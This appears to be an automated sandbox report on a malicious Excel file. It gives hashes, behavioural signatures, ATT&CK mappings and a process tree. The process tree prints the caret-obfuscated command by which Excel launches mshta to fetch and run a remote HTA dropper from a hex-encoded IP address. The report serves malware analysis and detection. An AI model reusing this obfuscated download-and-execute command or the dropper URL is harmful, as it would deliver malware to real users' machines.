f52f03cb94b222c5feffb3c6b07bfebc90c8653f913fe06f27d60a15cd65a9f4

General

Target
INF_1002019752277798147440.xls
Size 142KB
Sample220120-r5vm5sada4
SHA256 f52f03cb94b222c5feffb3c6b07bfebc90c8653f913fe06f27d60a15cd65a9f4
MD5 d03cfd5461c8746eb20439acaed6c71d
SHA1 dc5b78cd19245ff529729ff59aeee01742f6e79c
SHA512 8a586302a3b14b651db8bcde2dfc83aee4c600098e59d0e6fc56305451f64dd4a25c03dbe62bd4063b819da29a2fc43ebeea6660e1821f863c015efa7d45b193
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
http://0xb907d607/fer/fer.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4084	1712	cmd.exe	50

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 3800 created 920	3800	WerFault.exe	63

Blocklisted process makes network request 1 IoCs

flow	pid	Process
33	920	mshta.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2388	920	WerFault.exe	63

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1712	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2388	WerFault.exe
2388	WerFault.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1712	EXCEL.EXE
1712	EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
1712	EXCEL.EXE
1712	EXCEL.EXE
1712	EXCEL.EXE
1712	EXCEL.EXE
1712	EXCEL.EXE
1712	EXCEL.EXE
1712	EXCEL.EXE
1712	EXCEL.EXE
1712	EXCEL.EXE
1712	EXCEL.EXE
1712	EXCEL.EXE
1712	EXCEL.EXE
1712	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1712 wrote to memory of 2064	1712	EXCEL.EXE	56
PID 1712 wrote to memory of 2064	1712	EXCEL.EXE	56
PID 1712 wrote to memory of 4084	1712	EXCEL.EXE	61
PID 1712 wrote to memory of 4084	1712	EXCEL.EXE	61
PID 4084 wrote to memory of 920	4084	cmd.exe	63
PID 4084 wrote to memory of 920	4084	cmd.exe	63
PID 3800 wrote to memory of 920	3800	WerFault.exe	63
PID 3800 wrote to memory of 920	3800	WerFault.exe	63

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\INF_1002019752277798147440.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1712
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2064
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4084
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    PID:920
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 920 -s 1696
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      PID:2388

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:3068

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 432 -p 920 -ip 920
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:3800

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1712-130-0x00007FFD5A490000-0x00007FFD5A4A0000-memory.dmp

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memory/1712-131-0x00007FFD5A490000-0x00007FFD5A4A0000-memory.dmp

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memory/1712-132-0x00007FFD5A490000-0x00007FFD5A4A0000-memory.dmp

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memory/1712-133-0x00007FFD5A490000-0x00007FFD5A4A0000-memory.dmp

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memory/1712-134-0x00007FFD5A490000-0x00007FFD5A4A0000-memory.dmp

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memory/1712-137-0x00007FFD58110000-0x00007FFD58120000-memory.dmp

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memory/1712-138-0x00007FFD58110000-0x00007FFD58120000-memory.dmp

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memory/1712-863-0x00007FFD5A490000-0x00007FFD5A4A0000-memory.dmp

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memory/1712-864-0x00007FFD5A490000-0x00007FFD5A4A0000-memory.dmp

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memory/1712-865-0x00007FFD5A490000-0x00007FFD5A4A0000-memory.dmp

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memory/1712-866-0x00007FFD5A490000-0x00007FFD5A4A0000-memory.dmp

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads